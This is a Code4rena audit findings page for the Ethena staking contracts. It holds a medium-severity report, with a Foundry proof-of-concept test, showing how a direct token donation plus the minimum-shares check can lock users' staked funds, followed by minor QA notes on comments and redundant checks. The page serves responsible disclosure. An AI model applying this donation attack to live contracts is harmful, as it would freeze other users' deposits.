Platform: Code4rena
Start Date: 24/10/2023
Pot Size: $36,500 USDC
Total HM: 4
Participants: 147
Period: 6 days
Judge: 0xDjango
Id: 299
League: ETH
Rank: 16/147
Findings: 2
Award: $524.94
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: ayden
Also found by: 0xWaitress, Madalad, Yanchuan, cartlex_, ciphermarco, critical-or-high, d3e4, mert_eren, peanuts, pontifex, trachev, twcctop
520.4229 USDC - $520.42
https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L190-L194 https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC4626.sol#L197-L201 https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC4626.sol#L197-L201
User's funds can be blocked on staking contract due to usage of _checkMinShares()
function.
Inside StakedUSDeV2.sol
contract users can deposit theirs USDe
tokens and mint stakedUSDe
for them.
Additionally, there is a _checkMinShares()
function that should prevent from "donation attack"
as it says in the comment.
/// @notice ensures a small non-zero amount of shares does not remain, exposing to donation attack function _checkMinShares() internal view { uint256 _totalSupply = totalSupply(); if (_totalSupply > 0 && _totalSupply < MIN_SHARES) revert MinSharesViolation(); }
However, a malicious user can still transfer its USDe
tokens directly to the staking contract first.
When user deposit its USDe
tokens, amount of shares that will be minted for user calculated via _convertToShares()
function, where the amount of assets user want to deposit into multiplying by totalSupply()
and then dividing by totalAssets()
.
function _convertToShares(uint256 assets, Math.Rounding rounding) internal view virtual returns (uint256) { return assets.mulDiv(totalSupply() + 10 ** _decimalsOffset(), totalAssets() + 1, rounding); }
Malicious user can just transfer 1e18 - 1
amount of USDe
tokens into staking contract and since that moment, the mimimum amount of USDe
tokens that regular user must deposit to mint amount of shares that need to pass _checkMinShares()
will be equal to 1e36
.
However, even if the user is able to put such a large amount to the staking contract there is a risk of blocking
its funds.
One possible scanario described below.
1e18 - 1
amount of USDe tokens to the staking contract.1e18
amount of shares for 1e36
amount of USDe
.1e18
amount of USDe
._checkMinShares()
check.1e18
amount of shares or Alice redeem her 1 share.Proof of concept with the test is shown below.
// SPDX-License-Identifier: MIT pragma solidity >=0.8; import {console2, Test, StdStyle} from "forge-std/Test.sol"; import "contracts/USDe.sol"; import "contracts/StakedUSDeV2.sol"; import "contracts/interfaces/IUSDe.sol"; import "contracts/interfaces/IStakedUSDe.sol"; contract POC_BlockingUserFundsTest is Test { USDe public usdeToken; StakedUSDeV2 public stakedUSDe; address public owner; address public alice; address public bob; function setUp() public virtual { usdeToken = new USDe(address(this)); alice = makeAddr("alice"); bob = makeAddr("bob"); owner = makeAddr("owner"); usdeToken.setMinter(address(this)); vm.startPrank(owner); stakedUSDe = new StakedUSDeV2(IUSDe(address(usdeToken)), makeAddr('rewarder'), owner); stakedUSDe.setCooldownDuration(0); vm.stopPrank(); } /** * copy file with test into test/foundry/staking folder. * to run test use `forge test --mt test_1_exploitBlockingUsersFunds -vvvvv` */ function test_1_exploitBlockingUsersFunds() public { usdeToken.mint(alice, 2e36); usdeToken.mint(bob, 1e36); vm.startPrank(alice); // Alice transfer 1e18 - 1 USDe tokens to stakedUSDe contract. usdeToken.transfer(address(stakedUSDe), 1e18 - 1); // Now, For one USDe Alice can only receive 1 share. uint256 previewDeposit = stakedUSDe.previewDeposit(1e18); emit log_named_decimal_uint("Preview deposit", previewDeposit, 18); usdeToken.approve(address(stakedUSDe), 1e18); // It will revert since 1e18 is not enought to mint 1e18 shares. vm.expectRevert(IStakedUSDe.MinSharesViolation.selector); stakedUSDe.deposit(1e18, alice); vm.stopPrank(); vm.startPrank(bob); // To passe check of `_checkMinShares()` bob should mint 1e18 - 1 shares. it costs now 1e36 usdeToken.approve(address(stakedUSDe), 2e36); uint256 previewDepositBob = stakedUSDe.previewDeposit(1e36); emit log_named_decimal_uint("Preview deposit", previewDepositBob, 18); // Bob try to deposit, but it reverts since minimum deposit right now is 1e36. vm.expectRevert(IStakedUSDe.MinSharesViolation.selector); stakedUSDe.deposit(1e36 - 1, bob); // Bob deposit 1e36 USDe. stakedUSDe.deposit(1e36, bob); vm.stopPrank(); // Alice deposit 1e18 USDe and mint 1 share. vm.startPrank(alice); stakedUSDe.deposit(1e18, alice); vm.stopPrank(); vm.startPrank(bob); emit log_named_decimal_uint("Shares total supply", stakedUSDe.totalSupply(), 18); // Bob try to redeem 2 shares but it reverts due to `_checkMinShares()` check. vm.expectRevert(IStakedUSDe.MinSharesViolation.selector); stakedUSDe.redeem(2, bob, bob); // Bob can only redeem 1 share. stakedUSDe.redeem(1, bob, bob); vm.startPrank(owner); // Admin doesn't have functionality to withdraw USDe token from staked contract. vm.expectRevert(IStakedUSDe.InvalidToken.selector); stakedUSDe.rescueTokens(address(usdeToken), 1e18 - 1, owner); vm.stopPrank(); console2.log(StdStyle.blue("Bob's funds blocked on staking contract until someone minted 1e18 shares or alice redeem her 1 share")); } }
Manual review, foundry.
Consider to implement typical "first deposit attack" guard when some amount of shares minted to the address(0)
during first deposit like Uniswap does instead of using _checkMinShares()
function.
https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L119-L121
Math
#0 - c4-pre-sort
2023-10-31T19:27:23Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-10-31T19:27:32Z
raymondfam marked the issue as duplicate of #32
#2 - c4-judge
2023-11-10T20:52:18Z
fatherGoose1 changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-11-10T20:58:57Z
fatherGoose1 marked the issue as satisfactory
🌟 Selected for report: 0xmystery
Also found by: 0x11singh99, 0xAadi, 0xAlix2, 0xG0P1, 0xStalin, 0xWaitress, 0x_Scar, 0xhacksmithh, 0xhunter, 0xpiken, Al-Qa-qa, Arz, Avci, Bauchibred, BeliSesir, Breeje, Bughunter101, DarkTower, Eeyore, Fitro, HChang26, Imlazy0ne, J4X, JCK, Kaysoft, Kral01, Madalad, Mike_Bello90, Noro, PASCAL, PENGUN, Proxy, Rickard, Shubham, SovaSlava, Strausses, Team_Rocket, ThreeSigma, Topmark, Udsen, Walter, Yanchuan, Zach_166, ZanyBonzy, adam-idarrha, adeolu, almurhasan, arjun16, ast3ros, asui, ayden, btk, cartlex_, castle_chain, cccz, chainsnake, codynhat, critical-or-high, cryptonue, csanuragjain, deepkin, degensec, dirk_y, erebus, foxb868, ge6a, hunter_w3b, jasonxiale, kkkmmmsk, lanrebayode77, lsaudit, marchev, matrix_0wl, max10afternoon, nuthan2x, oakcobalt, oxchsyston, pavankv, peanuts, pep7siup, pipidu83, pontifex, ptsanev, qpzm, radev_sw, rokinot, rotcivegaf, rvierdiiev, sorrynotsorry, squeaky_cactus, supersizer0x, tnquanghuy0512, twcctop, twicek, young, zhaojie, ziyou-
4.5226 USDC - $4.52
addToBlacklist
/removeFromBlacklist
by default.In the comments to addToBlacklist
and removeFromBlacklist
says that DEFAULT_ADMIN_ROLE can add users to blacklist and remove them from it. However, by default admin
can't do it.
/** * @notice Allows the owner (DEFAULT_ADMIN_ROLE) and blacklist managers to blacklist addresses. * @param target The address to blacklist. * @param isFullBlacklisting Soft or full blacklisting level. */ function addToBlacklist(address target, bool isFullBlacklisting) external onlyRole(BLACKLIST_MANAGER_ROLE) notOwner(target) { bytes32 role = isFullBlacklisting ? FULL_RESTRICTED_STAKER_ROLE : SOFT_RESTRICTED_STAKER_ROLE; _grantRole(role, target); }
/** * @notice Allows the owner (DEFAULT_ADMIN_ROLE) and blacklist managers to un-blacklist addresses. * @param target The address to un-blacklist. * @param isFullBlacklisting Soft or full blacklisting level. */ function removeFromBlacklist(address target, bool isFullBlacklisting) external onlyRole(BLACKLIST_MANAGER_ROLE) notOwner(target) { bytes32 role = isFullBlacklisting ? FULL_RESTRICTED_STAKER_ROLE : SOFT_RESTRICTED_STAKER_ROLE; _revokeRole(role, target); }
Consider to change the comments that only BLACKLIST_MANAGER_ROLE
by default.
There is no need to check that to != address(0)
since it already implemented in ERC20 _mint()
function.
function redistributeLockedAmount(address from, address to) external onlyRole(DEFAULT_ADMIN_ROLE) { if (hasRole(FULL_RESTRICTED_STAKER_ROLE, from) && !hasRole(FULL_RESTRICTED_STAKER_ROLE, to)) { uint256 amountToDistribute = balanceOf(from); _burn(from, amountToDistribute); // to address of address(0) enables burning if (to != address(0)) _mint(to, amountToDistribute); // @audit address(0) check already implemented in `_mint()` function emit LockedAmountRedistributed(from, to, amountToDistribute); } else { revert OperationNotAllowed(); } }
Same situation with _beforeTokenTransfer
. No need to check to != address(0)
since already implemented in ERC20 _transfer
function.
function _beforeTokenTransfer(address from, address to, uint256) internal virtual override { if (hasRole(FULL_RESTRICTED_STAKER_ROLE, from) && to != address(0)) { // @audit check already implemented in `transfer()` function revert OperationNotAllowed(); } if (hasRole(FULL_RESTRICTED_STAKER_ROLE, to)) { revert OperationNotAllowed(); } }
In verifyRoute()
function there is unnecessary check that route.addresses[i] == address(0)
, because it checked when addCustodianAddress()
function is used.
for (uint256 i = 0; i < route.addresses.length; ++i) { if (!_custodianAddresses.contains(route.addresses[i]) || route.addresses[i] == address(0) || route.ratios[i] == 0) // @audit no need to check address(0) { return false; } totalRatio += route.ratios[i]; }
Consider to remove Unnecessary checks.
There is a typos in comment.
/// @notice Adds an custodian to the supported custodians list. // @audit an => a.
Consider to correct it to:
/// @notice Adds a custodian to the supported custodians list.
#0 - c4-pre-sort
2023-11-02T02:48:12Z
raymondfam marked the issue as sufficient quality report
#1 - c4-judge
2023-11-14T17:01:22Z
fatherGoose1 marked the issue as grade-b